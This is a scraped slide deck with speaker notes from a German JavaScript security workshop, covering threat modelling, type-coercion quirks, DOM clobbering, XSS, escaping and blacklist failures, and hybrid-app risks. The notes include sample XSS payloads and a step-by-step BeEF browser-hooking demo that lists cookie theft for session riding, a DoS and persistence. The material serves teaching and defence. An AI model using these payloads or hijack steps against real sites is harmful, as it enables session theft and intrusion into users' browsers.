  • 280. Risikoanalyse Anwendungsfälle definieren (zB Use Cases) Die externen Abhängigkeiten erfassen Sicherheitsannahmen definieren Datenfluss als Data Flow Diagram erfassen Annahmen: i expect every user to come from the internet. i expect the ntlm-based authentication to work
  • 281. Risikoanalyse: STRIDE Im Datenflussdiagram Risiken mit STRIDE finden Spoofing / Fälschung Tampering / Manipulation Repudiation / verhinderte Nachweisbarkeit Information Disclosure / Informationslecks Denial of Service / Blockaden Elevation of Privileges / Rechteübernahme spoofing: session riding, fake referer; tampering: XSS, CSRF; repudiation: logcleaner; Information disclosure: error messages; SQL Injections; Elevation of privileges: code executions, sql injections, logical mistakes
  • 282. Risk Analysis: Determine risks Jedes gefundene Risiko mit DREAD analysieren Damage Potential Reproducability Exploitablitity Affected Users Discoverability Bug Bar: ab wann ein Risiko behandelt werden muss Some say: chance of attack multiplied with damage potential
  • 283. Risikoanalyse: Risikominderungen planen Für jedes Risiko, das oberhalb der Risikoschwelle (Bug Bar) ist Risikominderungen können applikationsweit sein Parameterbindung und SQL-Injections erzwungenes Ausgabeescaping Die Vollständigkeit des Einsatzes muss geprüft werden Bug bar: not some fancy place to get a beer for a bug, but a risk that is ok to stay with until it‘s time to fix it.
  • 284. Risikoanalyse: Bedrohungsmodellierung Kann teilautomatisiert werden mit einem kostenlosen Tool: 
 „Threat Analysis and Modeling Tool“ http://www.microsoft.com/downloads/details.aspx? familyid=59888078-9daf-4e96-b7d1-944703479451
 
 It takes a whole lot of time, but it‘s less time to use the tool then to use n tool
  • 285. Sicherheit Best Practices Welche Tools eingesetzt werden sollen Coding Standards und Richtlinien Testrichtlinien
  • 286. Werkzeuge zur Verbesserung der Sicherheit Komplexitäts- und Coding-Style analyse Checkstyle, Codesniffer, PMD Statische Source Code Analyse Fortify diverse OpenSource-Tools Complex code is a major reason for security problems. A cyclomatic complexity > 50 almost sure contains a security problem. Of course you should use tools like web application security scanners as well. currently it‘s hard to integrate them into the development circle, but this will happen in future.
  • 287. Coding Standards Einige Beispiele: Fixe Libraries und Regeln für Input Validierung Variablensäuberung Ausgabeescaping Parameter Binding für Datenbankzugriffe there are a lot more, see the several security guidelines for php
  • 288. Coding Richtlinien Maximalwerte für Komplexität (McCabe, NPath- Complexity) Minimale Test Coverage Richtlinien für Regressionstests
  • 289. Sicherheitstests für Webapplikationen Automatisierte Fuzzing und Pentestingtools (wie NStalker, AppScan, XSS) Laufzeitschutz (Suhosin, mod_apparmor, mod_security) Regressionstests für jedes gefundene Sicherheitsproblem Security Test Cases
  • 290. Der „Security Push“ Sicherheit für alte Applikationen der Entwickler reviewed seine Software selbst die Risiken wurden zuvor analysiert die Tests werden in einer Datenbank protokolliert: Wer hat was, wann wie weit getestet jeder Entwickler wurde vorher geschult es stehen Tools für die Tests zur Verfügung die Risikoanalyse wird danach aktualisiert die Sicherheitsdokumentation wird aktualisiert
  • 291. Finaler Sicherheitsreview Code Review Unmittelbar vor der Herausgabe(!) Durchgeführt vom internen Security Coach oder einem externen Auditor Prüfung der SDL Dokumente (Datenflussdiagramme, Risikoanalyse, Sicherheitsdokumentation) Prüfung der ungefixten Bugs
  • 292. Security Response Infrastructure Es existiert ein offizieller Security(@company.tld) Kontakt Es gibt einen definierten Workflow für gemeldete Probleme Es gibt einen Workflow für Advisories Es gibt einen Workflow für Updates und Bugfixes This can be done less official if you got a small company or a small install base. nevertheless you need the responsiblity assigned to certain people and the workflow to handle security issues.
  • 293. Security Response auf eine Meldung Verwundbarkeit, Risiko und Ausnutzbarkeit analysieren Fehler korrigieren Korrektur prüfen Regressionstest für Fehler implementieren Update zur Fehlerbehebung und Advisory veröffentlichen Ziemlich oft soll die Antwort auf eine Sicherheitslücke sehr schnell erfolgen, mit dem Resultat, dass der Bugfix unvollständig ist oder neue Lücken aufreisst.
  • 294. Start Die Bibel: „The Security Development Lifecycle“ von Michael Howard und Steve Lipner ISBN 978-0-7356-2214-2 http://blogs.msdn.com/threatmodeling/ „Security in the Software Lifecycle“ - Department of Homeland Security
  • 295. Fazit 1.Awareness: Web Applikation sind risikobehaftet 2.SDL ist ein Weg, Sicherheit als Bestandteil des Entwicklungsprozesses zu gewährleisten 3.Die Einführung bedeutet die Integration eines Sets von Werkzeugen und Prozessen 4.SDL ist kein Silver Bullet: Anwendung des Toolsets liegt beim Entwickler, der Erfolg auch.
  • 296. Ausblick Agile Entwicklungsprozesse und Sicherheit Security Stakeholder als Kunden Security Requirements Security Tests Security Expert als Sonderrolle im Team Es gibt für MDA Ansätze wie CORAS, UMLsec und SecureUML
  • 297. ZFazit Bonus-­‐Rant  zum   tweeten:   Der  HTML-­‐Parser  und  die  DOM-­‐ API  sind  unreparierbar  kapu<.
  • 298. fSlides  mit  Volltext   slideshare.net/mayflowergmbh @Johannhartmann @jowe Danke!

Hinweis der Redaktion

  1. Guten Morgen zusammen! Erster Tag der JavaScript Days, und hier finden sich gleich die Mutigen zum Thema JavaScript Security.
  2. Duzen Vormittag Security, Nachmittag Pentesting
  3. Das sind die Downloads, die es heute gibt. Ich lasse das jeweils in den Pausen stehen. Wer nachher mitmachen möchte sollte sich die Tools downloaden - ich führe die aber auch live vor.
  4. Vielleicht noch eins vorweg - ich habe nur begrenzt viel Ahnung von JavaScript. Aber ich bin ziemlich gut darin, Dinge kaputt zu machen. Auch JavaScript, Browser, Server, you name it, i break it.
  5. Wenn ich schon JavaScript nicht kann, was kann ich denn: Ich bin hauptberuflich CTO von Mayflower, und damit zu Diensten von etwa 70 Webentwicklern, die alle JavaScript machen. Ich haben 1984 mit 13 zu programmieren begonnen und verdiene seit 1992 Geld damit. Wenn man mal das Cracken von Spielen auf dem C64 und dem Commodore Amiga ausnimmt bin ich seit 1994 im Security-Bereich unterwegs, zunächst als Greyhat und kurze Zeit später als Greyhat. Ich habe mal live die Website der litauischen Regierung gehackt, und Firefox hat mal sein Security-Management meinetwegen umgestellt.
  6. Vielleicht noch eins vorweg - ich habe nur begrenzt viel Ahnung von JavaScript. Aber ich bin ziemlich gut darin, Dinge kaputt zu machen. Auch JavaScript, Browser, Server, you name it, i break it.
  7. Ich bin Johannes, und auch bei Mayflower. Momentan stehen Migrationen von SPA und MPA auf der Tagesordnung. Das Frontend mag ich hierbei am Liebsten. Mitsamt allen möglichen Raffinessen vom ersten UX Entwurf bis hin zum Deployment.
  8. Aber warum dieser Workshop? Weil Javascript Security besonders ist. Aber gucken wir doch mal, warum das so ist.
  9. Aber warum ist JavaScript Security so oh no? Dasliegt nicht zuletzt an diesem Herrn. Und der von Neumann-Architektur. Die sagt: es gibt einen CPU, und die redet über einen BUS nicht nur mit Input und Output, sondern auch mit dem Speicher.
  10. Konkret befinden sich im Speicher echte Daten, also zum Beispiel Adressen oder so, aber auch Laufzeitdaten wie Variablen und Funktionsaufrufe. Die befinden sich im Stack der Prozesse, oder im Heap für angeforderte Daten.
  11. Und das hat vor allem eine Konsequenz: Für die CPU sind Daten, die Laufzeitvariablen, die Laufzeitdaten und der Code das gleiche: manipulierbarer Speicher.
  12. Und das resultiert in ca 80 Prozent der Bugs in Betriebssystemen, Servern, die zu Security-Problemen führen. Deshalb wurde beliebig viel Zeit in das Engineering von CPUs und Betriebssystemen gesteckt. Inzwischen können steht an den Speicherpages explizit dran, welche executiert werden dürfen und welche nicht, und der Laufzeitspeicher ist randomisiert und nicht mehr erwartbar.
  13. Wirrerweise hat man dann im Browser eine ähnliche Architektur gewählt - vermutlich erwartete man nicht, dass das Konzept dermassen erfolgreich sein würde. Der Server redet mit dem Browser nur über einen langen String, und der enthält den Content - und seit 1995 auch die Programmiersprache JavaScript. Daten können in der Seite oder separat stattfinden.
  14. Und genau daraus resultieren die ganzen Bugs, die wir in der JavaScript-Welt haben. Zu den einzelnen Punkten komme ich natürlich noch.
  15. Aber nicht nur da hatte der Herr von Neumann einen Vorteil. Bei ihm war das noch einfach. Es gab nämlich nur einen Rechner, und der war trusted. Weil jemand den Schlüssel zu dem Raum hatte, in dem der Rechner stand. Und nur der kam an den Rechner ran. Also durfte der machen, was er will.
  16. In einer klassischen Webanwendung konnten wir dem Code voll vertrauen, denn er fand bei uns statt. Die Darstellung, die Ablaufsteuerung und die Daten - alles war vertrauenswürdig. Heute sieht das anders aus - denn der ganze Kram wandert zum Client. Nur noch die Daten bleiben auf der Serverseite persistiert.
  17. Und es geht sogar noch eins weiter, denn es werden zunehmend services eingesetzt. Wer setzt hier New Relic ein? Wer Google Analytics? Wer Ad-Plattformen wie TradeDoubler? Wer setzt E-Commerce-Tools wie Fact finder ein? Im Fazit spielen sehr viel mehr Applikationen mit, als man normalerweise denken würde, und das ausgerechnet mit JavaScript als Plattform.
  18. Und das passiert nicht nur einmal, sondern sehr oft 2.5 Milliarden Clients werden genutzt, inzwischen fast genausoviele Smartphones. Jeder hat inzwischen mehr private Informationen im Browser als im Tagebuch. Mehr Geld über Online-Transaktionen verwaltet als über Unterschriften.
  19. Und es wird noch schlimmer. Die Götter der Softwareentwicklung von Thoughworks sagen in Ihrem Technology-Radar an, dass JavaScript / HTML5 keine Programmiersprache mehr ist, sondern faktisch eine Plattform. Windows, OSX, Linux, Android und JavaScript.
  20. Auch der zweite Grund ist offensichtlich.Ich weiss, man darf keiner Statistik trauen, aber die Leute von Redmonk machen im Gegensatz zu Tiobe die Statistik auf Basis von echten Diskussionen und echte Commits - konkret Stackoverflow und Github machen. Die Statistik ist vom Januar. In welcher Ecke vermutet Ihr Javacript?
  21. Genau, offensichtliche Frae - ganz rechts oben, weniger Fragen als Java auf Stackoverflow, dafür mehr Lösungen auf Github. Statistisch machen Programmierer also etwas da oben in der Ecke. In Realität ist Java vermutlich sogar noch etwas dominanter, weil viel firmeninterne Entwicklung weder Spuren auf Stack-Overflow noch auf Github hinterlässt.
  22. Wenn man eine Risikobewertung über den Browser als Plattform macht, kommt man zu ganz interessanten Ergebnissen. Damage: Wer hat kritische Daten im Browser? Private Daten? Bankdaten? Transaktionen wie online-Einkäufe? Kreditkartendaten? Reproduzierbarkeit gut, weil man im Target selbst evaluieren kann. Exploitability: ich brauche die Leute auf einer Website von mir. Affected: alle, die einen Browser im Internet nutzen. Discoverability: Im Regelfall einfach.
  23. Quelle: http://www.forbes.com/sites/andygreenberg/2012/03/23/shopping-for-zero-days-an-price-list-for-hackers-secret-software-exploits/
  24. Aber genug vom theoretischen Erzählen .... gucken wir doch mal an, was alles faktisch dahinter steht.
  25. Aber das gilt nicht nur für HTML. Das gilt auch für JavaScript.
  26. Habt Ihr alle die JavaScript Console auf? Ich bitte gleich immer erst zu raten und dann nachzugucken. Und ich freue mich über Beteiligung.
  27. Was glaubt ihr, was hier herauskommt? Und was kommt wirklich heraus?
  28. Und was glaubt ihr was hier herauskommt? Und was kommt in der Konsole tatsächlich heraus? Und warum?
  29. Genau, es gibt nur einen Typ Zahlen - und der ist Float. Deshalb sind die Ergebnisse nicht immer so wie man sie erwartet hätte.
  30. Und was glaubt ihr was hier herauskommt? Und was kommt in der Konsole tatsächlich heraus?
  31. Und was glaubt ihr bei der nächsten Zeile? Kann 0 sowohl gleich dem Leerstring sein wie auch dem nichtleeren String mit der Ziffer 0? Was glaubt ihr? Und was kommt tatsächlich heraus?
  32. Also: wir wissen jetzt: Und wenn jetzt sowohl ’’ als auch ’0’ gleich 0 sind, sind die beiden denn auch gleich?
  33. Dieses Phänomen liegt daran, dass sich Operatoren bei dynamisch getypten Sprachen typabhängig verhalten. Und im Falle von 0 als Zahl passiert ein anderes Casting als bei 0 als beim Vergleich von Strings.
  34. Glücklicherweise gibt es noch den Operator ===, der auch eine Typprüfung enthält. Was kommt hier heraus? Genau, das ist false, weil der Typ nicht übereinstimmt.
  35. Und was kommt hier heraus? Das ist wieder True, weil zwar die Schreibweise unterschiedlich ist, Typ und Inhalt aber gleich sind.
  36. Und was kommt hier heraus?
  37. Immerhin ist es konsequent.
  38. Aber es gibt noch mehr komische Operatoren, nicht nur Vergleichsoperationen. Was würde man erwarten was das hier ergibt? Genau, Typecasting nach Integer anhand von -, und im Resultat eine 3. Eine Subtraktion mit einem String würde ja auch keinen Sinn machen.
  39. Und was passiert hier?
  40. Und was kommt hier heraus? Genau, und warum ist das so? Exakt, ein JavaScript-Fuckup seit Beginn der Zeiten. Es gab mal einen Vorschlag das zu fixen, das ist aber nicht angenommen worden.
  41. Was kommt hier bei Euch heraus? Genau, function. Im IE6,7,8 ist es aber object.
  42. Und was kommt hier heraus? Genau, Object. Chrome hat trotzdem jahrelang function ausgeliefert.
  43. Und welchen Typ hat das leere Array bzw. das leere Objekt? Warum steht da nicht Array bei Array? Genau, weil Array auch nur ein Objekt ist, auch wenn es eine extra Notation zur Erzeugung anbietet.
  44. Was ergibt also die Addition von zwei leeren Arrays? Was würdet Ihr erwarten? Und was ergibt es tatsächlich? Genau, den leeren String.
  45. Und wenn ich ein leeres Array mit einem leeren Objekt addiere? Genau, dann gibt es ein leeres Objekt.
  46. Und wenn ich das genau andersherum mache? Genau, da kommt die Ziffer 0 heraus.
  47. Und was kommt heraus, wenn ich zwei Objekte addiere? Was würdet Ihr erwarten? Und was kommt tatsächlich heraus?
  48. Den oberen hatten wir schon - wenn ich {} und [] addiere kommt 0 heraus. Was kommt also heraus, wenn ich das als Ausdruck in eine Klammer stelle? Genau, dann wird es ein Objekt.
  49. Aber nicht nur die Behandlung von Variablen ist etwas uneindeutig. Was ist der globale Namespace? Genau, window
  50. Sollte euch jemand sagen, dass es keine Rolle spielt wie ihr auf ein Zeichen in einem String zugreift, irrt er sich. Seht selbst.
  51. Was denkt ihr kommt hier raus? Auch neue Sprachfeatures haben Besonderheiten. Das kann zu überraschenden Verhalten führen. In diesem Fall solltet ihr JSON.stringify und JSON.parse zum schreiben & lesen nützen.
  52. Und hier. Was kommt raus? Warum? Genau, es wird als JSON interpretiert, bei dem das letzte Komma abgeschnitten wird, weil das letzte Element ein „undefined“ ist.
  53. Dann sollte das doch funktionieren, richtig? Mehr von diesen WTFs gibt auf http://wtfjs.com
  54. DOM Clobbering Kennt jemand den Begriff? Ein wenig Doku dazu gibt es, aber nicht viel. Das DOM ist voll von Möglichkeiten, Strings in Code umzuwandeln. Viele davon sind Klassiker. Einige bekannt und andere unbekannter. Alle haben eine gemeinsames Ergebniss: DOMXSS
  55. Aber nicht nur die Behandlung von Variablen ist etwas uneindeutig. Was ist der globale Namespace? Genau, window
  56. Wenn ich also eine Variable definiere liegt sie erst einmal im globalen, sprich im window-scope. Irgendwie uneindeutig?
  57. Stopp erstmal. Jetzt gibts einen kurzen Exkurs in die Geschichte von DOM. Wozu? Um den Kontext zum heutigen DOM herzustellen. Begonnen hat alles 1995, als die Jungs von Netscape mehr Interaktiviät und einen Zugriff auf die Elemente eingebunden haben. Es war kein Standard. Wieso auch?
  58. 1997 wurde in MSIE & dem Netspace das “Intermediate DOM” implementiert. Was war neu? Es gab mehr APIs um HTML in JavaScript anzusprechen. Standard gab es immer noch keinen. Wieso auch, es war Browserkrieg.
  59. Nach ca. 4 Jahren kamen die ersten Ansätze für Standards auf. Nett. Nur hielt sich damals keiner daran. Warum auch? Neu war hier die Trennung in "Core" und "HTML", Naming Conventions, die Document Structur, ...
  60. Neu waren die Module: “Core”, „HTML“, „Events“, „Style“ und „Views“ zur einer Besseren Trennung der Standards. Eine Fundamentale Änderung war der zugriff via document.getElementById() sowie das erstellen von Events. Die Entwicklung der Standards stagnierte im W3C, Entwickler und Browserhersteller wollten aber mehr!
  61. Spezifiziert unter anderem vom W3C, der WHATWG (Web Hypertext Application Technology Working Group) und bestimmten Vendors. Das Ziel dahinter ist die API zwischen Code und Content.
  62. Hmm, was hat das num mit Security zu tun? Was haben wir gesehen: Das DOM hat sich über Jahrzehnte entwickelt. Anfangs war die API klein, ist gewachsen und wieder geschrumpft. Mittlerweile ist die API riesig, manchmal einfach, manchmal komplex. Fakt ist: ohne DOM geht nix! Was hat das mit Security zu tun? Ich zeig es euch!
  63. Zurück zum ersten Beispiel. Das sah doch alles Okay aus. Das ganze geht auch ohne <script> Tags. Hat jemand einen Vorschlag wie?
  64. Forms! Form-Elemente gehen unmittelbar ein. Hier habe ich eine Javascript-Variable im globalen Scope definiert ohne eine Zeile Javascript zu zeigen. Demo ->
  65. Aber kann ich damit auch das JavaScript überschreiben? Nein, in diesem Fall sticht Javascript. Demo->
  66. Aber kann ich damit auch natives JavaScript überschreiben? Ja -> Demo
  67. Und das gilt nicht nur für properties - sondern auch für Methoden.
  68. Überschreiben und Javascript - hat jemand eine Idee, was alles überschrieben werden kann? JavaScript Variablen, Browser Variablen, JavaScript Methoden, Browser Methoden.
  69. Netterweise bietet JavaScript eine Methode, mit der man das Herausfinden kann - getOwnPropertyDescriptor. Dieser gibt einem ein Objekt zurück, in dessen Property configurable steht ob man es ändern kann oder nicht.
  70. file:///Users/johann/javascript/enumerate.html
  71. Erster und wichtigster Kandidat ist XSS. Wer weiss alles, was XSS lang heisst?
  72. Genau, das sollte auch jeder Wissen. Weiss jemand, warum das so heisst? Exakt, weil die Jungs schlicht nicht nachgedacht haben. Eigentlich ist das aber ein Misnomer, weil es eigentlich nur wenig mit Cross Site zu tun hat.
  73. Eigentlich reden wir über JavaScript Injection, denn das ist das, was tatsächlich passiert. Auf dem Computer lokal wäre das kein Problem - aber wir haben es eben genau nicht mit nur einem Rechner zu tun, sondern mit ganz vielen - und das macht das ganze erst möglich.
  74. JavaScript kann der Browser eigentlich gar nicht direkt ausführen. Die Ausführung passiert erst dann, wenn ein Dokument das JavaScript einbettet. Und das passiert so. Und wenn es nur so ginge, dann hätten wir ein Problem weniger.
  75. Aber diese Variante war den Jungs von Netscape damals alleine zu unpraktisch. Es wäre doch total praktisch, wenn man das Javascript auch an anderen Stellen einsetzen könnte ...
  76. Wie zum Beispiel einfach direkt im Script Tag. Ok, das lag auf der Hand, aber ab dem Moment gibt es ab ... wäre es nicht auch super, wenn man zum Beispiel ...
  77. Einfach URLs nutzen könnte, um JavaScript auszuführen???
  78. Hey, das wäre cool. Schliesslich können wir URLs fast überall nutzen. Und da geht das dann auch.
  79. Ja, das ging auch mal. Was wären wir ohne Table-Backgrounds, die Script-Gesteuert sind. Glücklichweise haben die Browserhersteller relativ früh gemerkt, dass das kein guter Plan ist. Aber immerhin - Gerüchten zufolge soll es noch Nutzer geben, die alte Browser einsetzen.
  80. Dann haben die Jungs von Netscape noch mal weitergedacht, und kamen auf die Idee, das ganze doch noch mal Inline machen zu können, wie damals in Delphi, einfach eine Aktion an das GUI-Element koppeln. Oder wie bei Visual Basic.
  81. Und wäre es nicht aus super, wenn man die Darstellung, die inzwischen über CSS gesteuert wird, automatisieren könnte? Glücklicherweise mit IE8 endgültig deaktiviert, und IE-only.
  82. Hey, und wenn das nicht geht - wir können das ja auch noch über URLs machen. Glücklicherweise auf neuen Browsern auch nicht mehr möglich.
  83. Und, weil wir schliesslich Informatiker sind: das sollte auch Meta und Rekursiv können. Natürlich muss JavaScript auch JavaScript ausführen können.
  84. Und wenn wir schon mal dabei sind ... wir könnten doch auch Plugins damit steuern. Das wäre doch super. Und damit hätten wir auch endlich wieder Zugriff auf die ganzen Super Bugs aus der C-Welt: Buffer Overflows, Format String Bugs, Integer Overflows.
  85. Und generell, wäre es nicht super, wenn jeder, der in Zukunft neue Dinge im Browser macht, sie auch gleich scripten könnte? Dann könnten wir alles Super automatisieren! MathML und JavaScript war so kaputt, das Chrome es nach wenigen Versionen wieder rausgeworfen hat.
  86. Das ist zwar auf der einen Seite, irgendwie total cool, dass ich das überall verwenden kann, auf der anderen Seite aber massiv unpraktisch.
  87. Denn: Alles ein langer String.. Weil unsere Daten, unsere Darstellung und unser Code für den Browser das gleiche sind.
  88. Und genau da kommen unsere Probleme her - ich wollte als Entwickler nur Daten oder Layout-Elemente erzeugen. Und der Browser, die Sau, hat sich entschlossen, meine Daten ganz stumpf als Executable Code zu nutzen.
  89. Das ist der Klassiker der Hacker-Formular-Tourette: eigentlich wollte ich nur meinen Namen eingeben, irgendwie kam dann aber ein ganz anderer String heraus, und der machte diesen Unsinn. Eigentlich sollten da nur Daten stehen, keine Ahnung, warum der Browser da jetzt Unsinn macht.
  90. Auch das passiert: Da wollte ich meine Javascript nur die Postleitzahl des Nutzers in die Hand geben, und durch einen doofen Typo hat es JavaScript erkannt. Weiss jemand wie ich es richtig escaped hätte? Wieder hätte ich eigentlich nur Daten haben wollen.
  91. Hier wollte ich meinem Formularfeld nur sagen wie ich heisse. Dieses mal habe ich mit dem Typo aus Versehen gleich HTML5 gemacht, und schwupps, war da auch schon wieder ein Alert;
  92. Aber woher kommen die Daten, die da an den falschen Stellen ausgegeben werden? Da unterscheidet man drei Typen. Der erste ist Type 0 XSS, auch DOM-based XSS genannt. Der passiert rein im Browser, und damit auch schon auf statischen HTML-Files. Er braucht auch keine Server, und Web Application Firewalls oder Pentesting bzw. Tests hilfen nicht. Man kann sich nur direkt im Javascript schützen.
  93. Der bekannteste Typ, unter dem auch gemeinhin XSS verstanden wird, ist der XSS Typ1, der reflektierte XSS. Meist gibt es hier eine Eingabe und gleich auf der nächsten Seite eine Ausgabe - zB bei Formularen. Er ist nur für denjenigen sichtbar, dessen Browser auch den Ursprungsrequest abgeschickt hat. Der Schutz passiert meist auf der Serverseite.
  94. Der dritte Typ ist der aggressivste, der Persistente XSS. Der passiert, wenn ich zB in ein Forum einen XSS einschleusen kann, der dann von anderen Nutzern auch gesehen wird. Oder XSS in einem Chat.
  95. Und es gibt natürlich beliebige andere Quellen, von denen meine Applikation die Daten bekommt.
  96. Das gemeine an allen drei Typen ist, dass das inzwischen für uns meist fast egal ist. Denn bei den Single-Page-Applications, die wir normalerweise schreiben, hilft es nichts mehr - es bleibt immer der gleiche Seitenscope bestehen, und damit ist jeder XSS, zumindest für die Zeit der Session, persistent.
  97. Also wurde zunächst einmal escaped. Wer setzt hier $.html() in Jquery ein, um Output zu escapen?
  98. Ich nehme hier mal die Escape-Funktion aus Mustache, vom Jan Lehnhardt.
  99. Das klappt tatsächlich, wie cool!
  100. Heja, der klappt ja auch! Endlich habe ich eine Escape-Funktion, die Universell ist...
  101. Und schauen wir uns noch mal das JS-Beispiel direkt an - das gilt btw. auch für alles, was direkt in einem Exekutierbaren Scope landet, also auch events etc. Da funktioniert das nicht weil wir dazu hätten „;“ escapen müssen Das gleiche gilt für ausgaben in JavaScript Events.
  102. Jetzt kann man sagen: dann escape doch einfach die Anführungsstriche richtig, dann klappt das doch. Demo: file:///Users/johann/security/javascript/parser.html
  103. Fazit: Universelles Escaping funktioniert nicht.
  104. Wie würde hier die Escapeme aussehen?
  105. Wie würde hier die myfunction aussehen?
  106. Und hier? Genau, universelles Escaping funktioniert nicht.
  107. Also wurde zunächst Blacklisting erfunden. Sprich: ich gucke nach bösen Sachen und filtere sie heraus. Jemand hier, der Blacklists einsetzt? PHPIDS? Validator aus Node.js?
  108. Blacklists sollten die gefährlichen Ausdrücke entfernen, so dass kein JavaScript mehr ausgeführt werden kann. Also wurden die einfach entfernt.
  109. Darauf haben die Hacker dann reagiert, indem sie einfach das, was entfernt wird, wieder ergänzt haben. Das hat nur so mittel geklappt. Danach sind die aber besser geworden, und laufen heute so lange über einen String, bis sie nichts mehr finden.
  110. Inzwischen sind die natürlich auch besser geworden, und im regelfall - zB bei node.js validator - sieht das so aus.
  111. Dieses Ding bleibt trotzdem unangetastet. Ok, bei einigen Blacklists fliegt alert raus ....
  112. ... da muss man dann prompt(1,1) zum testen nehmen :-).
  113. Fazit: Universelles Blacklisting funktioniert auch nicht.
  114. Das ist ja schon mal nicht so gut. Aber sind wir damit schon am Ende?
  115. Natürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas nützliches machen.
  116. Natürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas nützliches machen. Klar, wer die Anfänge auf Geocities mitbekommen hat - da war mit sauberem Syntax nichts zu holen.
  117. Demo! file:///Users/johann/javascript/innerhtml_test.html Siehe http://de.slideshare.net/x00mario/the-innerhtml-apocalypse <video><source onerror=„alert(1)"> <script> var a="text 1</script>"; var b="text 2<script>alert(1);a=""; </script>
  118. Was lernen wir daraus? Es kommt nicht darauf an, was wir selbst als JavaScript schreiben, sondern es kommt darauf an, was der Browser daraus macht.
  119. Mal ein anderes konkretes Beispiel, unser File hört mit einem Tag i mit einem Attribut auf - dann wird das <b>-Tag in IE und Opera als solches interpretiert.
  120. Wir haben ja schliesslich noch JavaScript Libraries. Und auf einmal gibt es Properties die Aktionen auslösen, die ich noch gar nicht kenne - zum Beispiel über Widgets. In HTML5 gibt es das auch, aber da triggern sie kein JavaScript, das eigene Lücken enthalten kann.
  121. Und das ist wichtig - denn vorher konnte man sich darauf verlassen, dass JavaScript nur über Events, also über Attribute, die mit on* beginnen getriggert wurde - und alles andere funktioniert automatisch.
  122. Und nicht nur da spielen die Libraries eine Rolle. Wer setzt alles Jquery ein? (Jetzt sollten sich alle melden)
  123. Da steht ja nicht umsonst „write less, do more“ drunter. Das passiert tatsächlich.
  124. Das wird zum Beispiel mit der sehr mächtigen $() funktion gemacht, die abhängig von Inhalt unterschiedliche Dinge tut. Das erlaubt einem sehr schnell zu sein. Das ist cool.
  125. Aber das bedeutet auch, dass man nicht immer weiss, was passiert. Und das ist ein Problem.
  126. In Security spricht man von einer Sink wenn man eine Funktion hat, die in einem Security-Problem resultiert, wenn sie fremde Daten bekommt oder die Daten nicht sanitized sind. SQL-Funktionen sind solche Sinks, wenn ich dort einen String direkt eingebe, dann wird er ungefiltert der Datenbank übergeben und kann SQL-Injections erzeugen. eine Multiplikationsfunktion wäre dementsprechend Risikofrei.
  127. Und genau da kommt unser Problem her - $() ist eine Sink, und nicht jeder weiss es. Ich darf also $() nur validierten Input in die Hand geben. Quelle: https://www.owasp.org/images/9/95/JS_Libraries_Insecurity_-_Stefano_DiPaola.pdf
  128. Ähnliche Probleme gibt es auch den meisten JavasScript-Template-Libraries, in diesem Fall Angular.js. Die Templates erlauben zwar kein direktes eval, aber Methodenaufruf mit Parametern - und wenn ich das so mache, habe ich faktisch auch wieder die möglichkeit zu evaluieren.
  129. Jetzt könnte man natürlich sagen: hej, dann filtern wir einfach auf {{ .. aber leider geht auch das in die execution.
  130. Und nicht nur direkt im Template-Text wird executed, wie bei Dojo kann ich auch direkt im Attribut JavaScript triggern.
  131. Da stellt sich natürlich die Frage - ist das wirklich ein Problem?
  132. Genau deshalb implementiert JavaScript eine Sandbox. Typische Fähigkeiten anderer Programmiersprachen - Dateien öffnen, Netzwerkverbindungen aufbauen, Schreiben - sind verboten.
  133. Hier sehen wir wie das funktioniert - links oben der Originale frame, rechts das div mit der Kopie, unten links ein Frame mit Treshhold als Filter, und rechts unten ein einzelner Pixel - und über diesen wird die Framerate gemessen.
  134. 1. Neuer Browser http://whatismyipaddress.com IP notieren 2. Blog-URL http://blog.mayflower.de 3. in http://beef.mayflower.de/ui/panel einloggen 4. Links die Zombies zeigen 5. Rechts Log zeigen 6. Meine IP raussuchen 7. Detail-Seite vorstellen - alles, was einfach ohne tricks über JavaScript zu ermitteln ist, quasi Browser Capabilities 7. Rider Nutzung des Fremden Browsers als Proxy- auf der gehijackten Domain, weil Same Origin 8. Commands Browser Domain 8.1 get cookie -> session riding mit login 8.2 get page hrefs 8.3 alert dialog 8.4 Full Page Rickroll 8.5 Webcam Permission check - interesting domains 8.6 Host - Get internal IP 8.7 DOSer 8.9 Persistence - create popunder. 9.0 Phonegap & Extension exploits
  135. Da sind wir auch gleich beim nächsten Thema - HTML / XSS jenseits des Browsers.
  136. Das neue Directory-Attribute im Chrome erlaubt vollen Lesezugriff auf das Verzeichnis, nachdem es ausgewählt wurde. Einfach Download anbieten, „Download to Folder“-Button machen - und schon hat man Zugriff auf das ganze Verzeichnis.
  137. Und natürlich werden alle alten Blacklistfilter durch neue Attribute und Tags ausgetrickst.
  138. Wer kennt Phonegap? Das ist ein Framework das von Adobe gekauft wurde, zeitgleich aber auch im Source der Apache Foundation übergeben wurde. Faktisch handelt es sich um eine Browser-Komponente, die die Funktionalität der Umgebung für JavaScript bereitstellt.
  139. Die Prinzipien dahinter gelten nicht nur für PhoneGap, sondern auch für MoSync, WebMarmalade etc.
  140. Die Fähigkeiten sind bei Android Install-Time, bei Apple bei First-Use. Bei Microsoft gibt es Fähigkeiten, die sehr viele Themen auf einmal betreffen.
  141. Viele der mobilen Apps und insbesondere der grössere Teil der Phonegap-Apps sind hybride Apps. Sie haben nicht nur einen lokalen Teil, sondern auch einen Web-Anteil - denn dorther kommen Daten, HTML und viele andere Dinge.
  142. Das gemeine bei diesen Hybrid Apps ist, dass man ihnen in Wahrheit nicht traut - konkret hat man zB keine Ahnung, was der Adbroker so treibt. Und man will ihm und seinem JavaScript auch keinen Zugriff auf die Webcam geben, auch wenn das die Applikation eigentlich darf. Deshalb gibt es meistens einen Iframe-Komponente, in der sowas läuft.
  143. Mit Fracking bezeichnet man es wenn in hybriden Apps Webapplikationen in den lokalen Scope kommen und damit mit den lokalen Rechten arbeiten können. Dazu gibt es ein dickers Paper aus dem Februar, das eine Vielzahl von Vektoren pro Plattform bereitstellt.
  144. Die Jungs haben automatisiert 7167 Phonegap-Apps im Android-AppStore gefunden und analysiert. Davon waren 3328 Apps Hybride Apps, und von denen haben mehr als 12% Rechte auf die Geo-Lokalisation gehabt und Zugriff von mehr als 20 Parteien erlaubt.
  145. Sind wir jetzt endlich mit den ganzen Security Problemen durch? Wer meint wir wären durch? Genau, jetzt kommen wir erst zu den Highlights.
